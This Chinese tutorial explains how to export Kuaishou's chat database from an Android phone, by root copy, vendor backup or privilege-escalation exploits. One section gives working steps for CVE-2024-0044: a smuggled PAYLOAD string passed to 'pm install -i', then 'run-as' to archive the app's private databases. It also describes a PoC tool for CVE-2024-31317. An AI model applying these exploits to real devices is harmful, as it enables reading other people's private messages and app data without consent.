数据库文件导出
此教程不仅适用于快手数据库导出,也可用于其他软件如QQ,微信,抖音的数据导出。
快手的聊天记录存储在以下路径:
data/user/0/com.smile.gifmaker/databases/<用户id>imsdk.db
这里的<用户id>是一大串数字,也就是你初始的快手号。
数据库没有加密,打开就能看,这一点好评,比QQ,微信,抖音之类的平台方便多了。
Root 设备获取方法:
直接使用MT管理器复制出来即可,也可以用ADB命令复制到电脑上。
非 Root 设备:
1. 使用手机厂商的官方备份功能获取
这里以小米(HyperOS)为例 * 打开 设置 > 我的设备 > 备份与恢复。 * 进入"第三方应用与应用数据",找到并勾选"快手/快手极速版",开始备份。 * 备份完成后,找到目录下.bak备份文件,由于这个文件不是标准的压缩包,需要使用MT管理器解压并导出
/apps/<包名>/db/下的数据库文件。
2. 通过提权漏洞获取
!!! warning "高风险操作警告" 此类方法涉及利用系统底层漏洞,需要一定的 ADB 和 Linux 基础。操作不当可能导致设备重启或卡死,请确保数据已备份,谨慎使用!
### CVE-2024-0044
适用范围:Android 12-13,且未收到 2024年3月 安全更新。
原理:利用 run-as 漏洞绕过调试限制,伪装成快手 APP 自身的权限来读取数据。
操作步骤
-
打开USB调试和通过允许USB安装应用

-
随便找一个apk安装包,是什么无所谓,能在你手机上安装就行,我这里用原教程的(https://f-droid.org/),将其推送到手机上
- 以下步骤都是在shell里运行的
首先获取应用的uid
adb shell
pm list packages -U|grep com.smile.gifmaker ##快手
pm list packages -U|grep com.kuaishou.nebula ##快手极速版
PAYLOAD="@null
victim 应用uid 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
如果输出
Success就说明成功了
* 由于在安卓13这个权限无法读写外部目录,需要创建一个临时文件来导出
* 以目标应用身份运行,提取数据库
run-as victim
tar -cf /data/local/tmp/ks/ks.tar com.smile.gifmaker/databases #快手
tar -cf /data/local/tmp/ks/ks.tar com.kuaishou.nebula/databases #快手极速版
参考教程 Extracting WhatsApp Database (or any app data) from Android 12/13 using CVE-2024-0044
CVE-2024-31317
安卓9-13 未收到2024年6月安全补丁
工具仓库 wqry085/PoC-Deployer-System
使用教程
* 在工具仓库里下载apk并安装并授予shizuku权限

-
进入软件,同意使用条款,
启动服务
-
通过列表选择注入快手/快手极速版
-
点击
执行命令,如果成功,在日志输出一栏会有以下输出(uid不同输出也会不同)
恭喜你,此工具在你的设备上可用!
-
由于权限限制,需要先用MT管理器在
/data/local/tmp/目录下创建ks.tar临时文件,并赋予777权限。

-
在这里根据快手包名输入命令
- 执行命令后这个文件有大小,能打开就说明成功了!

复制到电脑上即可
检验数据库完整性
在运行脚本之前,建议先简单检查一下导出的 imsdk.db 是否损坏,避免脚本报错。
1. 检查文件大小
如果文件大小是 0 KB,说明导出失败了,请重新尝试。正常的聊天数据库通常在几 MB 到几十 MB 之间,取决于你的聊天频率。不过我从来没见过超过110MB的文件,可能是超过这个大小直接重置了。
2. 查看表结构
推荐使用开源软件 SQLiteStudio 打开数据库文件
如果能正常打开且有数据,说明数据库完好。
